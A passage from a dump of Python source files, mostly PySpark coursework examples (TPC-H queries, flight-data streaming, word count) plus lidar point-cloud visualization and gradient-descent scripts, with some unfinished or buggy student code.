range(no_of_scenes):\n df = pd.read_csv(self.path, usecols=[1,2,3,4], skiprows=j*72000, nrows=72000, names=[\"lz\",\"X\",\"Y\",\"Z\"])\n df['radiusSquare'] = df['X']*df['X']+df['Y']*df['Y']+df['Z']*df['Z']\n df['radius'] = np.sqrt(df['radiusSquare']).round(1)\n df['freq'] = df.groupby(['lz','radius'])['radius'].transform('count')\n for i in range(64):\n maxfreq = df[(df['lz']==i) & (df['radius']!=0)]['freq'].max()\n while maxfreq>100:\n df.drop(df[(df['lz']==i) & (df['freq']==maxfreq)].index,inplace=True)\n maxfreq = df[(df['lz']==i) & (df['radius']!=0)]['freq'].max()\n df.drop(df[(df['lz']==i) & (df['radius']==0)].index,inplace=True)\n # Creating the tuples\n x = tuple(df['X'].tolist())\n y = tuple(df['Y'].tolist())\n z = tuple(df['Z'].tolist())\n objects.append((x,y,z))\n \n return objects\n\n # plot the two axes\n def plot_two_axes(self,object_points, object_name, x = 0, y = 1, z=2):\n grid_size= 1\n fig = plt.figure(figsize=(10, 10), dpi= 100, facecolor='w', edgecolor='k')\n \n # ax = fig.gca()\n # ax.set_xticks(np.arange(-40, 40, grid_size))\n # ax.set_yticks(np.arange(-40, 40, grid_size))\n \n \n count = 0\n for i in object_points:\n\n\n # plt.scatter(i[x], i[y], s=8)\n # plt.title(object_name)\n # plt.xlabel(x)\n # plt.ylabel(y)\n \n \n \n # ax.set_xticks(np.arange(-40, 40, grid_size))\n # ax.set_yticks(np.arange(-40, 40, grid_size))\n # ax.set_zticks(np.arange(-40, 40, grid_size))\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(i[z], i[x], i[y])\n \n if count<10:\n name = \"0\"+str(count)\n else:\n name = str(count)\n \n # plt.grid()\n plt.savefig(\"../visuals/_\"+name+\"_\"+object_name+\".png\")\n plt.clf()\n count+=1\n\n # Create the gif\n def create_gif(self,object_name,x=0, y=1, z=2):\n os.chdir(\"../visuals\")\n os.system(\"convert -delay 30 -loop 0 *{}.png {}_{}_{}.gif\".format(object_name,object_name,x,y))", "id": "1599402", "language": "Python", "matching_score": 3.1593306064605713, "max_stars_count": 0, "path": "src/visualization/allScences_gif.py" }, { "content": "import sys\n\nfrom allScences_gif import All_Scenes_Gif\n\ndef main():\n if len(sys.argv) <= 4:\n print(\"python3.7 gif_creator.py /home/kia/Collected-Datasets/DEBS2019/debs2019_initial_dataset/ClothRecyclingContainer/in.csv ClothRecyclingContainer 0 1 2 \")\n print(\"plotting the 3d x = 0, y = 1, z = 2\")\n return\n \n\n\n # Instantiating the object\n a = All_Scenes_Gif(sys.argv[1])\n\n # Removing the outliers\n object_points = a.remove_outliers()\n\n # plotting the two axis x = 0, y = 1, z = 2\n a.plot_two_axes(object_points, sys.argv[2], int(sys.argv[3]), int(sys.argv[4]))\n\n # Creating the gif\n a.create_gif(sys.argv[2],0,1,2)\n\nif __name__ == \"__main__\":\n main()\n", "id": "9075849", "language": "Python", "matching_score": 0.7688931822776794, "max_stars_count": 0, "path": "src/visualization/gif_creator.py" }, { "content": "\"\"\"\n@author: samba\n\"\"\"\n\n# Import the required libraries\nimport pandas as pd\nimport data\nimport sys\nimport random\nimport gan\nimport train\nimport evaluate\n\n# Get the individual object points\ndef get_object(path_to_data):\n # Read in the data set \n outliers, list_of_dataframes = data.remove_outliers(path_to_data)\n clustered_dataframes = data.cluster(list_of_dataframes)\n object_points = data.object_points(clustered_dataframes)\n \n labeled_data = []\n\n # Adding the labels\n for i,j in zip(outliers, list_of_dataframes):\n i['labels'] = 0\n j['labels'] = 1\n i = i.append(j,ignore_index=True, sort=False)\n labeled_data.append(i)\n\n return labeled_data \n\n# Split the train and test cases\ndef split_train_test(objects):\n random.shuffle(objects)\n return objects[:30], objects[30:]\n\n# Main function\ndef main():\n # Get the object points\n labeled_data = get_object(sys.argv[1])\n \n # visualizing the points\n data.visualize(labeled_data,2)\n\n # Split train and test data\n # train_data, test_data = split_train_test(object_points)\n \n \n # train the data\n # model = train.fit(train_data)\n\n # save the model\n\n # test the data\n # results = evaluate.predict(test_data)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv)!=2:\n print(\"Usage: python train.py <path/to/file>\")\n exit(-1)\n main()", "id": "6963114", "language": "Python", "matching_score": 0.7100228667259216, "max_stars_count": 0, "path": "src/object-net/main.py" }, { "content": "# from __future__ import absolute_import, print_function\n\nfrom curses.ascii import NUL\nimport socket\nimport json\nimport time\nimport sys\n\n\n\ndef main(filename):\n s = socket.socket()\n TCP_IP = \"localhost\"\n TCP_PORT = 9009\n\n s.bind((TCP_IP, TCP_PORT))\n s.listen(1)\n\n\n print(\"Wait here for TCP connection ...\")\n\n conn, addr = s.accept()\n\n print(\"Connected, sending data over the stream.\")\n\n counter = 0\n\n\n\n # Open file\n with open(filename, \"r\") as fileHandler:\n\n # Read each line in loop\n for line in fileHandler:\n counter += 1\n\n # Sleep for some time\n time.sleep(0.5)\n conn.send(line.encode('utf-8'))\n\n if(counter % 100 == 0):\n print(counter)\n\n s.close()\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 2 :\n print(\"Usage: Tweets_Send_From_File.py <file> \", file=sys.stderr)\n exit(-1)\n\n main(sys.argv[1])\n", "id": "7979747", "language": "Python", "matching_score": 0.9838399887084961, "max_stars_count": 0, "path": "Spark-Example-FlightsData/stream_from_data_file.py" }, { "content": "from __future__ import print_function\n\nimport sys\nfrom operator import add\n\nfrom pyspark import SparkContext\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage: wordcount <file> <output> \", file=sys.stderr)\n exit(-1)\n \n sc = SparkContext(appName=\"PythonWordCount\")\n lines = sc.textFile(sys.argv[1], 1)\n \n counts = lines.flatMap(lambda x: x.split(' ')).map(lambda x: (x, 1)).reduceByKey(add)\n \n counts.saveAsTextFile(sys.argv[2])\n \n output = counts.collect()\n \n sc.stop()\n", "id": "1746832", "language": "Python", "matching_score": 0.9678678512573242, "max_stars_count": 1, "path": "main_task4.py" }, { "content": "from functools import reduce\n\n\ndef accuracy(a, b):\n common_keys = set(a).intersection(b)\n all_keys = set(a).union(b)\n score = len(common_keys) / len(all_keys) #key score\n if (score == 0):\n return score, 'zero'\n else: #value score\n pred = {}\n for k in common_keys:\n pred[k] = b[k]\n #true_values_sum = reduce(lambda x,y:int(x)+int(y),a.values())\n all_keys = dict.fromkeys(all_keys, 0)\n for k in a.keys():\n all_keys.update({k:a[k]})\n for k in b.keys():\n all_keys.update({k:b[k]})\n true_values_sum = reduce(lambda x,y:int(x)+int(y),all_keys.values())\n pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values())\n val_score = int(pred_values_sum)/int(true_values_sum)\n if score >= val_score:\n return (score+val_score)/2,'avg'\n else:\n return score,'score'\n\n\ndef precision(a,b):\n #return len(set(a).intersection(b))/len(a)\n common_keys = set(a).intersection(b)\n score = len(common_keys) / len(a)\n if (score == 0):\n return score\n else:\n pred = {}\n for k in common_keys:\n pred[k] = b[k]\n true_values_sum = reduce(lambda x,y:int(x)+int(y),a.values())\n pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values())\n val_score = int(pred_values_sum)/int(true_values_sum)\n if score >= val_score:\n return (score+val_score)/2\n else:\n return score\n\ndef recall(a,b):\n common_keys = set(a).intersection(b)\n score = len(common_keys)/len(b)\n if (score == 0):\n return score\n else:\n pred = {}\n for k in common_keys:\n pred[k] = b[k]\n true_values_sum = reduce(lambda x,y:int(x)+int(y),b.values())\n pred_values_sum = reduce(lambda x,y:int(x)+int(y),pred.values())\n val_score = int(pred_values_sum)/int(true_values_sum)\n if score >= val_score:\n return (score+val_score)/2\n else:\n return score", "id": "1527515", "language": "Python", "matching_score": 0.2538420259952545, "max_stars_count": 0, "path": "src/ssh-kd/utils/eval.py" }, { "content": "from __future__ import print_function\n\nimport sys\n\nimport numpy as np\nfrom numpy import *\nfrom scipy import stats\n\n# This is an implementation of Gradient Descent in python and numpy\n# Data set of this example\n\n\ndef isfloat(value):\n\ttry:\n\t\tfloat(value)\n\t\treturn True\n\texcept:\n \treturn False\n\n\n\ndef readData(fileName, lowFilter, highFilter):\n\n\tx=[]\n\ty=[]\n\twith open(fileName) as f:\n\t\tfor i in f:\n\t\t\ta=i.split(\",\")\n\t\t\tif(len(a)==17):\n\t\t\t\tif(isfloat(a[5]) and isfloat(a[11])):\n\t\t\t\t\tif(float(a[5])!=0 and float(a[11])!=0):\n\t\t\t\t\t\tif(float(a[11])> lowFilter and float(a[11]) < highFilter):\n\t\t\t\t\t\t\tx.append(float(a[5]))\n\t\t\t\t\t\t\ty.append(float(a[11]))\n\n\tax=np.array(x)\n\tay=np.array(y)\n\treturn np.vstack((ax, ay))\n\n\n\ndef gradient_descent_run(points, m_current, b_current, learningRate, num_iteration, precision):\n\t# m is the beta1\n\t# b is the beta 0 or Y-Intercept\n\tX=points[0]\n\tY=points[1]\n\tprevious_step_size=1\n\n\tN = float(len(Y))\n\titers=0\n\tcost = 9999999999999999\n\n\twhile (previous_step_size > precision and iters < num_iteration):\n\t\ty_current = (m_current * X) + b_current\n\t\tm_prev = m_current\n\n\t\tm_gradient = -(2/N) * sum(X * (Y - y_current))\n\t\tb_gradient = -(2/N) * sum(Y - y_current)\n\t\tnew_learingRate = learningRate\n# in 1100 iteration\n# but more costly due to cost funtion calculation\n#\n#\t\told_cost = cost\n#\t\tcost = sum([data**2 for data in (Y - y_current)]) / N\n#\t\tif(cost<old_cost):\n#\t\t\tnew_learingRate=learningRate*1.05\n#\n#\t\tif(cost>old_cost):\n#\t\t\tnew_learingRate=learningRate*0.5\n\n\n\t\tm_current = m_current - (new_learingRate * m_gradient)\n\t\tb_current = b_current - (new_learingRate * b_gradient)\n\n\t\tprevious_step_size = abs(m_current - m_prev)\n\t\titers = iters+1\n\t\tif(iters%100==0):\n\t\t\tprint(\"Iteration: \", iters,\" Beta0 : \", \"{0:.10f}\".format(b_current) , \" Beta1 : \", \"{0:.10f}\".format(m_current) )\n\n\n\treturn m_current, b_current\n\n\n\n\n\n\n\ndef run(fileName):\n\n\tpoints = readData(fileName, 5., 100.)\n# numerical Solution\n\tslope, intercept, r_value, p_value, std_err = stats.linregress(points[0],points[1])\n\tprint(\"slope: \", slope)\n\tprint(\"intercept: \", intercept)\n\n\n# Gradient Descent\n\tstarting_b=0\n\tstarting_m=0\n\n\tlearningRate=0.00001\n\tnum_iteration=10000000\n\tprecision = 0.00000001\n\n\t[m, b] = gradient_descent_run(points, starting_b, starting_m, learningRate, num_iteration, precision)\n\n\tprint(\"======== Final Results ==============\")\n\tprint(\"Data after filter: \", points.shape)\n\tprint(\"Beta0: \", b)\n\tprint(\"Beta1: \", m)\n\n\nif __name__ == \"__main__\":\n\trun(sys.argv[1])\n\n\n\n# learning Rate = 0.01\n# Iteration: 1200 Beta0 : 4.3509580481 Beta1 : 2.6376461370\n# ======== Final Results ==============\n# Data after filter: (2, 1718496)\n# Beta0: 4.350962228020886\n# Beta1: 2.6376455350280423\n\n\n\n# # learning Rate = 0.001\n# Iteration: 10300 Beta0 : 4.3509000498 Beta1 : 2.6376544897\n# ======== Final Results ==============\n# Data after filter: (2, 1718496)\n# Beta0: 4.350903391574003\n# Beta1: 2.6376540084537377\n\n\n# Doing the same linear Regression with R\n# R Results\n# taxi <- read.csv(\"/home/kia/Desktop/taxi-data-sorted-small.csv\" , header = F)\n# taxi <-taxi[ which(taxi$V6 != 0 & taxi$V12 != 0 & taxi$V12 > 5 & taxi$V12 < 100), ]\n# lm(taxi$V12~taxi$V6)\n\n# Coefficients:\n# (Intercept) taxi$V6\n# 4.351 2.638\n", "id": "12318567", "language": "Python", "matching_score": 0.9904733300209045, "max_stars_count": 32, "path": "Python_examples/GradientDesent_python.py" }, { "content": "import pandas as pd\n\ndef min_max_normalize(x,y):\n x = (x-x.min())/(x.max()-x.min())\n y = (y-y.min())/(y.max()-y.min())\n return 7*x,3*y\n\ndef standard_normalization(x,y):\n \n x_std = x.std()\n y_std = y.std()\n\n if x_std==0:\n x_std = 0.01\n if y_std==0:\n y_std = 0.01\n\n x = (x-x.mean())/x_std\n y = (y-y.mean())/y_std\n\n return x,y\n\n# ToDo: Avoid the division by zero\ndef prespective_project(x,y,z, d, view):\n \n if view==2:\n z[z==0] = 0.1\n X = ((x/abs(z))*d)\n Y = ((y/abs(z))*d)\n \n elif view==3:\n x[x==0] = 0.1\n X = ((z/abs(x))*d)\n Y = ((y/abs(x))*d)\n \n X,Y = standard_normalization(X, Y)\n return X,Y\n\n\ndef cabin_projection(df, alpha):\n df['_x'] = (df['X'] + (0.2 * df['Z']) * np.cos(np.deg2rad(alpha)))\n df['_y'] = (df['Y'] + (0.2 * df['Z']) * np.sin(np.deg2rad(alpha)))\n return df\n", "id": "9558595", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "src/ssh-kd/plugin/projections.py" }, { "content": "from __future__ import print_function\n\nimport sys\nfrom operator import add\n\nfrom pyspark import SparkContext\nfrom pyspark import SparkConf,SparkContext\nfrom pyspark.streaming import StreamingContext\nimport sys\nimport requests\nfrom operator import add\n\nfrom pyspark.sql.types import *\nfrom pyspark.sql import functions as func\n\nfrom pyspark.sql.functions import lit\nfrom pyspark.sql.functions import udf\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.functions import array\n\n\n\n# if __name__ == \"__main__\":\n # create spark configuration\n# conf = SparkConf(appName=\"TPCH-Example\")\n # create spark context with the above configuration\n# sc = SparkContext(conf=conf)\n\n\n\n# lineitems = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(sys.arg[1])\npath=\"file:////home/kia/GIT/MET-CS777/data/tpch_tables_scale_0.1/\"\n# path is where you have the folder. It can be a distributed path like S3, gc or hdfs\n\ncustomer = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"customer.tbl\")\norders = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"orders.tbl\")\nlineitems = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"lineitem.tbl\")\npart = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"part.tbl\")\nsupplier = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"supplier.tbl\")\npartsupp = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"partsupp.tbl\")\nregion = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"region.tbl\")\nnation = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(path+\"nation.tbl\")\n\n\n# You can convert all to RDDs if you want. \n# customerRDD=customer.rdd\n# ordersRDD=orders.rdd\n# lineitemsRDD=lineitems.rdd\n# partRDD=part.rdd\n# supplierRDD=supplier.rdd\n# partsuppRDD=partsupp.rdd\n# regionRDD=region.rdd\n# nationRDD=nation.rdd\n\n\n\n# Question 1\n# Implement a pyspark code that can find out the top-10 sold products. \n\nlines = lineitems.select(\"ORDERKEY\", \"PARTKEY\")\\\n\t\t .withColumn(\"COUNT\", lit(1))\\\n\t\t .groupBy(\"PARTKEY\").agg(func.sum(\"COUNT\"))\n\nresult_1 = lines.orderBy(\"sum(COUNT)\", ascending=False).limit(10).show()\nresult_1.saveAsTextFile(sys.arg[2])\n\n\n\n# ---------------------------------------------------------------------------\n# Question 2\n\n# Find the top-10 customers based on the number of products ordered.\n\n\norder_parts = lineitems.select(\"ORDERKEY\", \"PARTKEY\")\n\ncustomer_orders = orders.select(\"ORDERKEY\", \"CUSTKEY\")\n\n\n# Here we get the a table of all customers and their ordered parts. \ncustomer_parts = customer_orders.join(order_parts, customer_orders.ORDERKEY == order_parts.ORDERKEY , 'full' ).drop('ORDERKEY')\n\n\n# After we have a table of (CUSTKEY, ORDERKEY), we can just count up the number of times that we see the customer key in the table for each customer \n# And this is a the number of times that the customer ordered parts. \ncustomer_parts.withColumn(\"COUNT\", lit(1)).groupBy(\"CUSTKEY\").agg(func.sum(\"COUNT\")).orderBy(\"sum(COUNT)\", ascending=False).limit(10).show()\n\n# +-------+----------+ \n# |CUSTKEY|sum(COUNT)|\n# +-------+----------+\n# | 8362| 155|\n# | 346| 153|\n# | 14707| 149|\n# | 11998| 148|\n# | 9454| 148|\n# | 14398| 147|\n# | 85| 142|\n# | 10354| 142|\n# | 3709| 141|\n# | 547| 141|\n# +-------+----------+\n\n\n\n# ---------------------------------------------------------------------------\n\n# Question 3\n# Find the top-10 customers that have ordered products from the same supplier. \n\n\npartsupp_keys=partsupp.select(\"PARTKEY\", \"SUPPKEY\")\n\ncustpmer_supplier=customer_parts.join(partsupp_keys, customer_parts.PARTKEY == partsupp.PARTKEY , 'full' ).drop('PARTKEY')\n\ncustpmer_supplier.withColumn(\"COUNT\", lit(1)).groupBy(\"CUSTKEY\", \"SUPPKEY\").agg(func.sum(\"COUNT\")).orderBy(\"sum(COUNT)\", ascending=False).limit(10).show()\n\n# +-------+-------+----------+ \n# |CUSTKEY|SUPPKEY|sum(COUNT)|\n# +-------+-------+----------+\n# | 4567| 844| 7|\n# | 4792| 592| 6|\n# | 11809| 17| 6|\n# | 14767| 8| 6|\n# | 2173| 572| 6|\n# | 6139| 233| 6|\n# | 874| 430| 6|\n# | 154| 380| 5|\n# | 6889| 729| 5|\n# | 8794| 545| 5|\n# +-------+-------+----------+\n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 4 and 5\n# Find the customers who have not ordered products from their own country and have ordered only foreign products. \n\n\n# Solution: \n# We get from custpmer_supplier CUSTKEY and SUPPKEY\n# custpmer_supplier.show()\n# +-------+-------+ \n# |CUSTKEY|SUPPKEY|\n# +-------+-------+\n# | 9733| 149|\n# | 9733| 399|\n# | 9733| 649|\n# ... \n\n\n\n# We need to just check if the customer has ordered something from his own country.\n\n\ncustpmer_supplier.show()\n\n\ncustomer_nationKey = customer.select(\"CUSTKEY\", \"NATIONKEY\")\nsupplier_nationKey = supplier.select(\"SUPPKEY\", \"NATIONKEY\")\n\n\n\ncustpmer_supplier_custNation = custpmer_supplier.join(customer_nationKey, \"CUSTKEY\", 'full')\ncustpmer_supplier_supNation = custpmer_supplier.join(supplier_nationKey, \"SUPPKEY\", 'full')\n\n\n\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.functions import udf\n\ncustpmer_supplier_custNation_agg = custpmer_supplier_custNation.groupBy(\"CUSTKEY\").agg(F.collect_set(\"NATIONKEY\").alias('agg_nation'))\n\ncSN_agg_withSupp = custpmer_supplier_custNation.join(custpmer_supplier_custNation_agg, \"CUSTKEY\" , 'full')\n\n# We need to cast the NationKey to IntegerType\ncSN_agg_withSupp = cSN_agg_withSupp.withColumn(\"NATIONKEY\", cSN_agg_withSupp[\"NATIONKEY\"].cast(IntegerType()))\n\n# Check Schema \ncSN_agg_withSupp.printSchema()\n\n\n\n# Define a UDF to check if the nation of the customer is in the list of his orders_products_nations\n\nisIn_udf = udf(lambda element, mlist: True if element in mlist else False, BooleanType())\n\nfrom_own = cSN_agg_withSupp.withColumn(\"from_own\", isIn_udf(cSN_agg_withSupp.NATIONKEY, cSN_agg_withSupp.agg_nation))\n\n# Should return none after filter because we have no customer that have not ordered products from his own country. \nfrom_own.filter(from_own.from_own==False).show()\n\n# from_own.show()\n# +-------+-------+---------+----------+--------+ \n# |CUSTKEY|SUPPKEY|NATIONKEY|agg_nation|from_own|\n# +-------+-------+---------+----------+--------+\n# +-------+-------+---------+----------+--------+\n\n\n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 6\n# Find the top-10 similar customers based of their orders. (Jaccard Similarity)\n# First of all we collect all of the products that each customer ordered. \n\n\n\ncustoemr_partset=customer_parts.groupBy(\"CUSTKEY\").agg(F.collect_set(\"PARTKEY\").alias('product_list'))\n\n# Do the cross join and rename fields \n\ncustomers_parts_combi = custoemr_partset.crossJoin(custoemr_partset ).toDF(\"C1\", \"L1\", \"C2\" , \"L2\").filter(\"C1 not like C2\")\n\n# then we can drop duplicates which might take longer time. \ncustomers_parts_combi = customers_parts_combi.dropDuplicates(['C1','C2'])\n\n# Define a user defined function for calculation of Jaccard similarity distance\n# Return type is Float and it should defined. \njaccard = udf(lambda a, b: float(float( len(set(a) & set(b))) / len( set(a) | set(b) )) , FloatType())\n\ncustomer_jaccard = customers_parts_combi.withColumn(\"jaccard\", jaccard(customers_parts_combi.L1, customers_parts_combi.L2))\n\n# The following line will cause large number of computation tasks. \ncustomer_jaccard.orderBy(\"jaccard\", ascending=False).limit(10).show()\n\n# On TPCH scale 0.1 you can get the following results \n\n# +-----+--------------------+-----+--------------------+----------+ \n# | C1| L1| C2| L2| jaccard|\n# +-----+--------------------+-----+--------------------+----------+\n# |10376|[13032, 18343, 15...| 8456|[15747, 18343, 41...|0.09090909|\n# | 8456|[15747, 18343, 41...|10376|[13032, 18343, 15...|0.09090909|\n# | 4808|[17169, 19122, 33...|10901|[10142, 9529, 124...|0.06666667|\n# |10901|[10142, 9529, 124...| 4808|[17169, 19122, 33...|0.06666667|\n# | 7532|[15572, 2151, 174...| 5390|[5452, 16969, 755...|0.06451613|\n# | 5390|[5452, 16969, 755...| 7532|[15572, 2151, 174...|0.06451613|\n# | 2489|[6418, 7101, 7102...| 4283|[13060, 12044, 12...|0.06349207|\n# | 4283|[13060, 12044, 12...| 2489|[6418, 7101, 7102...|0.06349207|\n# | 7739|[9743, 16030, 489...| 5462|[6890, 7231, 1737...| 0.0625|\n# | 4385|[1648, 7100, 1122...| 2768|[19866, 1648, 123...| 0.0625|\n# +-----+--------------------+-----+--------------------+----------+\n\n# The most similar customers are 10376 and 8456\n\n\n# ---------------------------------------------------------------------------\n# Question 7\n# Find the top-10 product pairs that are ordered mostly together. \n\n\n\n# RDD solution \n# Easier to do it in RDD\n\nlineitemsRDD = sqlContext.read.format('csv').options(header='true', inferSchema='false', sep =\"|\").load(path+\"lineitem.tbl\").rdd\norderPartsRDD = lineitemsRDD.map(lambda x: (x[0], x[1]))\n\n\norder_PartList_RDD = orderPartsRDD.combineByKey(lambda x: [x], lambda u, v: u + [v], lambda u1,u2: u1+u2).map(lambda x:(x[0], list(x[1]))).filter(lambda x: len(x[1])>1)\n\nfrom itertools import combinations\n\norder_PartPermutList_RDD= order_PartList_RDD .flatMap(lambda x: combinations(x[1], 2) ).map(lambda x: ((x[0], x[1] ), 1))\norder_PartPermutList_RDD.reduceByKey(lambda a, b:a+b).top(10, lambda x: x[1])\n\n\n\n\n\n\n\n# Dataframe\nfrom pyspark.sql import functions as F\norder_parts = lineitems.select(\"ORDERKEY\", \"PARTKEY\")\n\npartLists= order_parts.groupBy(\"ORDERKEY\").agg(F.collect_set(\"PARTKEY\").alias('listParts'))\n\n\n# Process only pairs of products - remove orders that include only one single product. \n\npartLists= partLists.where(size(col(\"listParts\")) > 1)\n\n# Define a function to create all pair combinations. \n# You can also use itertools \n# import itertools\n# from itertools import permutations\n\n# I define here the following permutation function. \ndef permut(x):\n\ta=list() \n\tfor i in range(len(x)):\n\t\tfor j in range(i, len(x)):\n\t\t\tif(i != j):\n\t\t\t\ta.append(str(x[i])+\"-\"+str(x[j]))\n\treturn a \n\n\n# ... \n\n", "id": "3873119", "language": "Python", "matching_score": 7.676577091217041, "max_stars_count": 32, "path": "Spark-Example-TPCH/TPCH-Example_Solution_Dataframe.py" }, { "content": "from __future__ import print_function\n\nimport sys\nfrom operator import add\n\nfrom pyspark import SparkContext\nfrom pyspark import SparkConf,SparkContext\nfrom pyspark.streaming import StreamingContext\nimport sys\nimport requests\nfrom operator import add\n\nfrom pyspark.sql.types import *\nfrom pyspark.sql import functions as func\nfrom pyspark.sql.functions import lit\n\n\n\n\nif __name__ == \"__main__\":\n \n\n # create spark configuration\n conf = SparkConf(appName=\"TPCH-Example\")\n\n # create spark context with the above configuration\n sc = SparkContext(conf=conf)\n\n\n # lineitems = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(\"file:////Users/kiat/git/MET-CS777/data/tpch_tables_scale_0.1/lineitem.tbl\")\n\n lineitems = sqlContext.read.format('csv').options(header='true', inferSchema='true', sep =\"|\").load(sys.arg[1])\n\n\n\n \n\n\n\n\n# Question 1\n# Implement a pyspark code that can find out the top-10 sold products. \n\n lines = lineitems.select(\"ORDERKEY\", \"PARTKEY\")\\\n .withColumn(\"COUNT\", lit(1))\n .groupBy(\"PARTKEY\").agg(func.sum(\"COUNT\"))\\\n\n result_1 = lines.orderBy(\"sum(COUNT)\", ascending=False).limit(10).show()\n result_1.saveAsTextFile(sys.arg[2])\n\n\n\n# Something like this with RDD... \n# orders.map(lambda p: (p[0], p[2]*p[3]) ).reduceByKey(lambda (a,b): a+b).top(10, lambda x: x[1])\n\n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 2\n\n# Find the top-10 customers based on the number of products ordered.\n\n\n\n\n\n# ---------------------------------------------------------------------------\n\n# Question 3\n# Find the top-10 customers that have ordered products from the same supplier. \n\n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 4 and 5\n# Find the customers who have not ordered\n# products from their own country and have ordered only foreign products. \n\n# Get customer and Orderd countries from product table \n\n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 6\n# Find the top-10 similar customers based of their orders. (Jaccard Similarity)\n# First of all we collect all of the products that each customer ordered. \n\n\n\n\n# ---------------------------------------------------------------------------\n# Question 7\n# Implement a pyspark code that can find the top-10 products pairs that are ordered mostly together. \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n sc.stop()\n", "id": "7827169", "language": "Python", "matching_score": 2.800990343093872, "max_stars_count": 32, "path": "Spark-Example-TPCH/TPCH-Example.py" }, { "content": "\nfrom pyspark import SparkConf,SparkContext\nfrom pyspark.streaming import StreamingContext\nimport sys\nfrom operator import add\n\n# def aggregate_count(new_values, total_sum):\n# return sum(new_values) + (total_sum or 0)\n\n\n# create spark configuration\nconf = SparkConf()\nconf.setAppName(\"Flight Data Stream\")\n\n# create spark context with the above configuration\nsc = SparkContext(conf=conf)\n\n# sc.setLogLevel(\"INFO\")\n# sc.setLogLevel(\"ERROR\")\nsc.setLogLevel(\"FATAL\")\n\n\n# create the Streaming Context from the above spark context with interval size 2 seconds\nssc = StreamingContext(sc, 2)\n\n\n# setting a checkpoint to allow RDD recovery\nssc.checkpoint(\"checkpoint_FlightDataApp\")\n\n# read data from port 9009\ndataStream = ssc.socketTextStream(\"localhost\", 9009)\n# dataStream = ssc.textFileStream(\"./data\")\n\n# Flight data is in the following format.\n# Download the file from here\n\n# Large data\n# https://storage.googleapis.com/cs378/flights.csv.bz2\n# Google Storage s3://cs378/flights.csv.bz2\n\n# Small Data here on github\n# https://github.com/kiat/Cloud-Computing/tree/main/Spark-Example-FlightsData\n# wget https://raw.githubusercontent.com/kiat/Cloud-Computing/main/Spark-Example-FlightsData/flights_data_small.csv\n\n# YEAR,MONTH,DAY,DAY_OF_WEEK,AIRLINE,FLIGHT_NUMBER,TAIL_NUMBER,ORIGIN_AIRPORT,DESTINATION_AIRPORT,SCHEDULED_DEPARTURE,DEPARTURE_TIME,DEPARTURE_DELAY,TAXI_OUT,WHEELS_OFF,SCHE\n\n# Question-1: What are the top-10 airlines who have flights in the last 60 seconds?\n\n\n\n\n\n\n# Question-2: To how many cities do we have flights in the lat 60 seconds?\n\n\n\n\n\n# Question-3: From each ORIGIN_AIRPORT to which destinations do we have flights in the last 10 seconds?\n\n\n\n\n\n# start the streaming computation\nssc.start()\n\n# wait for the streaming to finish\nssc.awaitTermination()\n", "id": "10320480", "language": "Python", "matching_score": 4.8284525871276855, "max_stars_count": 0, "path": "Spark-Example-FlightsData/flightStreaming.py" }, { "content": "\n# https://s3.amazonaws.com/metcs777/flights.csv.bz2\n# s3n://metcs777/flights.csv.bz2\n# lines = sc.textFile(\"file:///home/kia/Data/Collected-Datasets/flight-delays/flight-delays/flights.csv\")\n\nlines = sc.textFile(\"s3://metcs777/flights.csv.bz2\")\n\n\n# Removing the Header Line from CSV file \nlinesHeader = lines.first()\nheader = sc.parallelize([linesHeader])\nlinesWithOutHeader = lines.subtract(header)\n\n# The data is about the flights from different airports which includes following attributes\n#[u'YEAR,MONTH,DAY,DAY_OF_WEEK,AIRLINE,FLIGHT_NUMBER,TAIL_NUMBER,ORIGIN_AIRPORT,DESTINATION_AIRPORT,SCHEDULED_DEPARTURE,DEPARTURE_TIME,DEPARTURE_DELAY,TAXI_OUT,WHEELS_OFF,SCHEDULED_TIME,ELAPSED_TIME,AIR_TIME,DISTANCE,WHEELS_ON,TAXI_IN,SCHEDULED_ARRIVAL,ARRIVAL_TIME,ARRIVAL_DELAY,DIVERTED,CANCELLED,CANCELLATION_REASON,AIR_SYSTEM_DELAY,SECURITY_DELAY,AIRLINE_DELAY,LATE_AIRCRAFT_DELAY,WEATHER_DELAY']\n\nflights = linesWithOutHeader.map(lambda x: x.split(','))\n\n\n\n# YEAR,MONTH,DAY,DAY_OF_WEEK,AIRLINE,FLIGHT_NUMBER,TAIL_NUMBER,ORIGIN_AIRPORT,DESTINATION_AIRPORT,SCHEDULED_DEPARTURE,DEPARTURE_TIME,DEPARTURE_DELAY, CANCELLED\n\nmainFlightsData = flights.map(lambda p: (p[0], p[1] , p[2] , p[3], p[4] , p[5] , p[6], p[7] , p[8] , p[9], p[10], p[11], p[24] ))\n\n# number 6 is ORIGIN_AIRPORT\nflightsFromBoston = mainFlightsData.filter(lambda p: True if p[7] == \"BOS\" else False )\n\n\n# Get the total number of Flights from BOS \nflightsFromBoston.count()\n\n# 107847 flights from Logan Airport in Boston \n\n# Find the subset of flights departing on the weekend.\nweekEndFlights = flightsFromBoston.filter(lambda p: True if (int(p[3]) == 6 or int(p[3]) ==7) else False 